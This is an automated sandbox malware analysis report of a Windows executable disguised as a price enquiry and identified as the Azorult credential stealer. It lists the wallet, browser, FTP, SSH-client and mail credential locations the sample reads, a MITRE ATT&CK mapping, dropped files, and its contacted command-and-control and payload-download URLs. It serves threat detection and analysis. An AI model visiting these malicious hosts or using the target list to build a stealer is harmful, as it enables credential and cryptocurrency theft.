0_2_00405D99

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Azorult

Source: Yara match	File source: 00000003.00000003.2585827963.00000000379C8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2626980063.0000000000090000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2654533275.00000000379CC000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PRICE ENQUIRY - RFQ 6000073650.exe PID: 1532, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653642362.0000000036920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets\
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653642362.0000000036920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets\
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653642362.0000000036920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Jaxx\Local Storage\
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653642362.0000000036920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Exodus\
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653642362.0000000036920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Jaxx\Local Storage\
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653642362.0000000036920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653642362.0000000036920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Exodus\
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653642362.0000000036920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653642362.0000000036920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653642362.0000000036920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Key opened: HKEY_CURRENT_USER\Software\monero-project\monero-core			Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Key opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt			Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

File opened: C:\Users\user\AppData\Roaming\filezilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File opened: C:\Users\user\AppData\Roaming\ElectrumG\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-btcp\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File opened: C:\Users\user\AppData\Roaming\Exodus Eden\	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File opened: C:\Users\user\AppData\Roaming\Jaxx\Local Storage\	Jump to behavior

Tries to steal Instant Messenger accounts or passwords

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml			Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Jump to behavior

Source: Yara match	File source: 3.2.PRICE ENQUIRY - RFQ 6000073650.exe.3764ef90.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.PRICE ENQUIRY - RFQ 6000073650.exe.3764a63c.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.PRICE ENQUIRY - RFQ 6000073650.exe.376454d2.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2653642362.0000000036920000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PRICE ENQUIRY - RFQ 6000073650.exe PID: 1532, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	11 Process Injection	1 Masquerading	2 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Process Injection	2 Credentials in Registry	2 File and Directory Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	1 Credentials In Files	225 System Information Discovery	SMB/Windows Admin Shares	4 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PRICE ENQUIRY - RFQ 6000073650.exe	5%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-console-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-datetime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-debug-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-errorhandling-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-file-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-file-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-file-l2-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-handle-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-interlocked-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-libraryloader-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-localization-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-memory-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-namedpipe-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-processenvironment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-processthreads-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-processthreads-l1-1-1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-profile-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-rtlsupport-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-synch-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-synch-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-sysinfo-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-timezone-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-util-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-conio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-convert-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-environment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-filesystem-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-locale-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-math-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-multibyte-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-private-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-process-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-runtime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-stdio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-time-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-utility-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\freebl3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\mozglue.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\msvcp140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\nss3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\nssdbm3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\softokn3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\ucrtbase.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1A34B8EE\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsgBC23.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
e3z1.shop	188.114.96.3	true	true		unknown
sierrassinfinusadas.com.ar	167.250.5.91	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://sierrassinfinusadas.com.ar/yak/yzJUEwrOHumQymWjjWFju2.bin	false		unknown
http://e3z1.shop/HT341/index.php	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://e3z1.shop/HT341/index.php0	PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2633157050.0000000006567000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.mozilla.com/en-US/blocklist/	PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://e3z1.shop/HT341/index.phpC	PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000003.2584484351.00000000065E4000.00000004.00000020.00020000.00000000.sdmp, PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000003.2584733892.00000000065E4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://nsis.sf.net/NSIS_ErrorError	PRICE ENQUIRY - RFQ 6000073650.exe, 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmp, PRICE ENQUIRY - RFQ 6000073650.exe, 00000000.00000000.2021430836.0000000000409000.00000008.00000001.01000000.00000003.sdmp, PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000000.2369476123.0000000000409000.00000008.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://e3z1.shop/HT341/index.phpi	PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2633157050.00000000065C2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://e3z1.shop/	PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000003.2584484351.00000000065E4000.00000004.00000020.00020000.00000000.sdmp, PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000003.2584733892.00000000065E4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sierrassinfinusadas.com.ar/	PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2633157050.00000000065A1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.thawte.com0	PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com0	PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	e3z1.shop	European Union		13335	CLOUDFLARENETUS	true
167.250.5.91	sierrassinfinusadas.com.ar	Argentina		264649	NUTHOSTSRLAR	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1546772
Start date and time:	2024-11-01 15:13:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PRICE ENQUIRY - RFQ 6000073650.exe
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winEXE@8/55@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 88% Number of executed functions: 45 Number of non-executed functions: 78
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target PRICE ENQUIRY - RFQ 6000073650.exe, PID 1532 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: PRICE ENQUIRY - RFQ 6000073650.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	NF_Payment_Ref_FAN930276.exe	Get hash	malicious	FormBook	Browse	www.timizoasisey.shop/3p0l/
	FW CMA SHZ Freight invoice CHN1080769.exe	Get hash	malicious	FormBook	Browse	www.bayarcepat19.click/5hcm/
	greenthingswithgreatnewsforgetmeback.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	paste.ee/d/sTNna
	Lana_Rhoades_Photoos.js	Get hash	malicious	Unknown	Browse	paste.ee/d/ciuNW
	PO-000172483 (2).exe	Get hash	malicious	FormBook, GuLoader	Browse	www.launchdreamidea.xyz/2b9b/
	VfKk5EmvwW.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	083098cm.n9shteam.in/vmBase.php
	Payment Slip_SJJ023639#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/CEqTVkxM/download
	0JLWNg4Sz1.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	977255cm.nyashkoon.in/secureWindows.php
	zxalphamn.doc	Get hash	malicious	Lokibot	Browse	touxzw.ir/alpha2/five/fre.php
	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/jI82Ms6K/download

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
e3z1.shop	Group roominglist.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.67.183.166
	Group Deposit.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.67.183.166
	Group rooming plan.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.67.183.166
	Booking information.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.67.183.166

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	z79PROFORMAINVOICE.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	https://woobox.com/sf4hxr	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Payslip_October_2024.pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://u7990385.ct.sendgrid.net/ls/click?upn=u001.oZ6GXC16Ztdw1ob-2F3C5yow-2FsK2YC4S8s269h9OLgp-2FGcQesCtXDXKgCEAF90Sa3OUL2ncGoAKstQjRhddelr-2Bx3frrehyL8aaBbhAx-2Fm3uQTToUZwzw9vU-2BHl4N8-2FbXNrXNM8F2aafYGXvb9twEoQeHC7ZwjccAi1SjLazzmL714x6k-2BjB-2FYwt496nNWzarkpA5xghtVvgqYssmknAftbQJOVkiDX5sql0puMOlG6Ca2eid008YPu-2FJJAayp-2BNXls84A_lhEpvcamcm95WhC017PRgRonrgi5omZ3brQwNa5yLk0xxDl3uLY9zV0ZhBwsp9AfIBgWj8srFe156S5Zns8ZjIc0B22GBm-2FhZ3msRvLKzUyGIuCFlA1E-2FK-2F4jc3IgU8qM5k5KxMmIwIRDSCQDvTZvmwB5zeTeqWWEJR7CvWSpeaqIj3hj5IgcRcoPBdptLYrUK3YLUsGuU0Nn50M3ArOROvseGYqZul0QkeqtDR41-2FsPFt-2Bw0YWW2P5gsCDH4XINxncIhICPIqlacC1ih-2B-2BRAhsouCrf5nolEyzWx0VnR2OrLuGwvR4-2BmBTgXGq5SQJ3CbNvM-2FaB5BLerpFqmqjPC-2FBlK6th1iVrhfmtBEFKLash-2FnkPpQ9qFxGwWTexJMh100AS4PilK2-2BJDfvjssuxk2jP-2BTagNOazV2F1Jk9Mugr3y7E9SivEGWyUbzdMThmnpVydb1qOFwMiocztErv1WWaB8B20Oa2SLt-2BLBsMdusfLwd3NNzPre6el-2F-2BIwBxDAqBb9JLV6vOLzfaD2L4-2BEuPbgzcrscVtaCNyARGoPUKi03imhTbJEcig8L4weEiABND5vwKtA-2FhKo5AjxecXMO22Vq7Og2y7v-2BJNgFB9rr-2Bm4W45XZxFP39Dqi18SUPOKX4pHFrdACciPinuj2QtBtIGNjV46-2Bve9hu0g1-2FpG1tOVv9Ebn32k-2Bl6CF6b6jzS3aTQvZkWKNIwLx5CoGs9uomn9yZPi6QaiSTeQkZ1uHupSYpVxbBCb-2FUyo6kMlbB0P27ShEzUFVY-2FpfPcfFofTKD4p7rklaM-2FIuG8-2F3ytR7SJ7I8GmSP8NTWs4vu3NTpV5MkgHfjeFoK-2BDQh6M7S2ys2qIf8m3qiLtFMHY6p7m4ep8JZqbC0axloFSX-2Fzbz51ZW-2BsyQEEbRqwx0S1i4lo9NhRXrfXOvn0A83bBDk31g9QfoWTGhHCjSEfuca9KJwe0GCABYAuqYeYHMc5qXhPv86r0l0ldRpwe39V9LJ5m6Go-3D	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://hotmail.cdisaomiguel.com.br	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	https://tas-pe.com/ahowe@europait.net#ahowe@europait.net	Get hash	malicious	HTMLPhisher	Browse	172.67.72.186
	https://cbb8e45a.9a6a27135394413fbc39df5b.workers.dev	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=sf_rand_string_mixed(5)FgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fir.nbaikp3.sa.com%2Fdelaw%2Flawn%2Fkoo%2Fsf_rand_string_mixed(24)/bill.wafford@qurateretail.com	Get hash	malicious	HTMLPhisher	Browse	104.21.8.81
NUTHOSTSRLAR	https://audiovoice-message.idc-builder.com/	Get hash	malicious	Unknown	Browse	167.250.5.7
	https://reportesud.com/conceal/nuns/426176721460/bWFya2V0aW5nQHN0b3Jtc2hpZWxkLmV1	Get hash	malicious	HTMLPhisher	Browse	167.250.5.19
	https://reportesud.com	Get hash	malicious	Unknown	Browse	167.250.5.19
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&url=amp%2F%E2%80%8Bfin%C2%ADcaa%C2%ADin%C2%ADa%C2%AD%C2%AD.%E2%80%8Bco%C2%ADm%2Fauth%2Factive%2FUa51gHNn5MTLdsCceMMGWdci/ZmVydGlsaXplckBjZGZhLmNhLmdvdg==	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	167.250.5.35
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&url=amp%2F%E2%80%8Bfin%C2%ADcaa%C2%ADin%C2%ADa%C2%AD%C2%AD.%E2%80%8Bco%C2%ADm%2Fauth%2Factive%2FUa51gHNn5MTLdsCceMMGWdci/ZmVydGlsaXplckBjZGZhLmNhLmdvdg==	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	167.250.5.35
	https://t.ly/KJlvl	Get hash	malicious	Unknown	Browse	167.250.5.39
	Draft Commercial Invoice.xlsx	Get hash	malicious	Unknown	Browse	167.250.5.71
	Signed Copy PO-264PT.xlsx	Get hash	malicious	Unknown	Browse	167.250.5.54
	https://mail.feyro.com/d2/xzw/	Get hash	malicious	Unknown	Browse	167.250.5.14
	https://brvscu.com.ar/fdsr/tthn/H0YVbpzpsy9tVxNDvbJAXT8LCIXeepC5SO2Wrqwq9Go4xegKKO/a2Vsb3V0aWUucmFtZXNzYXJAZ29hYS5vcmc=	Get hash	malicious	HTMLPhisher	Browse	167.250.5.18

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	xLgTQcFdIJ.exe	Get hash	malicious	Stealc, Vidar	Browse	167.250.5.91
	Quote_220072.exe	Get hash	malicious	AgentTesla	Browse	167.250.5.91
	Quotation.exe	Get hash	malicious	FormBook, GuLoader	Browse	167.250.5.91
	Quotation.exe	Get hash	malicious	FormBook, GuLoader	Browse	167.250.5.91
	V323904LY3.lNK.lnk	Get hash	malicious	Unknown	Browse	167.250.5.91
	PO-000172483.exe	Get hash	malicious	FormBook, GuLoader	Browse	167.250.5.91
	PO-000172483.exe	Get hash	malicious	FormBook, GuLoader	Browse	167.250.5.91
	oZ7nac01Em.exe	Get hash	malicious	Stealc, Vidar	Browse	167.250.5.91
	SecuriteInfo.com.FileRepMalware.6479.21607.exe	Get hash	malicious	Unknown	Browse	167.250.5.91
	WGo3ga1AL9.exe	Get hash	malicious	Stealc, Vidar	Browse	167.250.5.91

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-datetime-l1-1-0.dll	Payment.cmd	Get hash	malicious	Azorult, DBatLoader	Browse
	Order160311_Reference.hta	Get hash	malicious	Azorult	Browse
	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse
	Order-63729_Reference.bat	Get hash	malicious	Azorult	Browse
	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse
	Payment Advice Note_Pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse
	HSBC_Payment.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Est_US091024A - PICTURE.exe	Get hash	malicious	Azorult, GuLoader	Browse
	SwiftMesaj.pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse
	SN890156.exe	Get hash	malicious	Azorult, GuLoader	Browse
